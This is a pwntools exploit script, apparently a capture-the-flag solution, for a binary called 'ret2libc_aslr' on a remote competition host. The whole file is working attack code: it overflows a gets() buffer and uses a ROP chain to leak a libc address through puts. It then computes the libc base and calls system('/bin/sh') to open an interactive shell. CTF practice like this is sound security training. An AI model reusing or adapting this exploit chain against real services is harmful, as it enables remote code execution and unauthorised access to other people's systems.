from pwn import *

RIP_OFF = 64 + 8
context.binary = elf = ELF("./ret2libc_aslr", checksec=False)
# context.gdbinit = "/usr/local/"
# Change if on server
libc = ELF("libc.so.6", checksec=False)
# libc = ELF("/usr/lib/libc.so.6", checksec=False)
POP_RDI = 0x4011FB
RET = 0x40101A
PUTS_PLT = elf.plt["puts"]
PUTS_GOT = elf.got[
    "gets"
]  # my libc puts end with x00 so it's better to use anything else in the binary
MAIN = elf.sym["main"]
BINSH = next(libc.search(b"/bin/sh\x00"))
context.terminal = ["tmux", "splitw", "-h"]

# p = process(elf.path)
p = remote("offsec.m0lecon.it", 13505)

print(p.recvuntil(b"Tell me your wish:"))
# p.recvuntil(b"The stars have spoken!\n")
# pause()
payload = flat(
    b"A" * RIP_OFF, p64(RET), p64(POP_RDI), p64(PUTS_GOT), p64(PUTS_PLT), p64(MAIN)
)
# print("Sending payload...")
# sendline for gets function
p.sendline(payload)
p.recvline()
leaked = p.recvline().strip()
leak_puts = u64(leaked.ljust(8, b"\x00"))
log.info(f"puts leak = {leak_puts:#x}")
libc.address = leak_puts - libc.symbols["gets"]
log.info(f"libc base = {libc.address:#x}")
print(p.recvline())
print(p.recvline())
print(p.recvuntil(b"Tell me your wish:"))
# p.send(b"\n")
# print(p.recv(1024))
# print(p.recv(128))
# print(p.recv(128))
# print(p.recvline())
# print(p.recvline())
# print(p.recvuntil(b"Tell me your wish:"))

payload = flat(
    b"A" * RIP_OFF, p64(POP_RDI), p64(libc.address + BINSH), p64(libc.symbols["system"])
)
p.sendline(payload)
print(p.recvline())
p.interactive()
# print(p.recv(1024))
# print(p.recv(1024))

# p.recvuntil(b"Tell me your wish:")
# p.interactive()
# p = remote("offsec.m0lecon.it", 13507)
